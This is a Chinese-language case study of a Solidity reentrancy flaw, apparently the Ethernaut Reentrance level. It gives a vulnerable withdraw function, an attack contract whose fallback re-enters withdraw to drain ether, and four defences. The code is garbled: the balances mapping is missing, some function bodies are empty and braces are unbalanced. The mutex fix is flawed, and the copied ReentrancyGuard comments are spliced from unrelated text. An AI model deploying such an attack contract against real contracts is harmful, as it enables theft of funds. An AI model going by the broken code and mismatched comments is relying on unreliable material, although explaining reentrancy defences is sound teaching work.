#### 案例分析

###### 合约代码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {

using SafeMath for uint256;
function donate(address _to) public payable {
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
###### 合约分析

pragma solidity ^0.4.18;
contract Reentrance {

function donate(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract ReentrancePoc {
Reentrance reInstance;

function getEther() public {
}

}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
reInstance.withdraw(1 ether);
}
}
}
###### 攻击流程

contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})

#### 防御措施

1、建议将ether发送给外部地址时使用solidity内置的transfer()函数，transfer()转账时只发送2300gas，不足以调用另一份合约(即重入发送合约)，使用transfer()重写原合约的withdrawFunds()如下；

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}

2、确保状态变量改变发生在ether被发送(或者任何外部调用)之前，即Solidity官方推荐的检查-生效-交互模式(checks-effects-interactions);

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {//检查
balances[msg.sender] -= _amount;//生效
msg.sender.transfer(_amount);//交互
}
}

3、使用互斥锁：添加一个在代码执行过程中锁定合约的状态变量，防止重入调用

bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
require(!reEntrancyMutex);
reEntrancyMutex = true;
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
reEntrancyMutex = false;
}
}

http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

4、OpenZeppelin官方库

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from ReentrancyGuard will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single nonReentrant guard, functions marked as
* nonReentrant may not call one another. This can be worked around by making
* those functions private, and then adding external nonReentrant entry
* points to them.
*
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a nonReentrant function from another nonReentrant
* function is not supported. It is possible to prevent this from happening
* by making the nonReentrant function external, and make it call a
* private function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}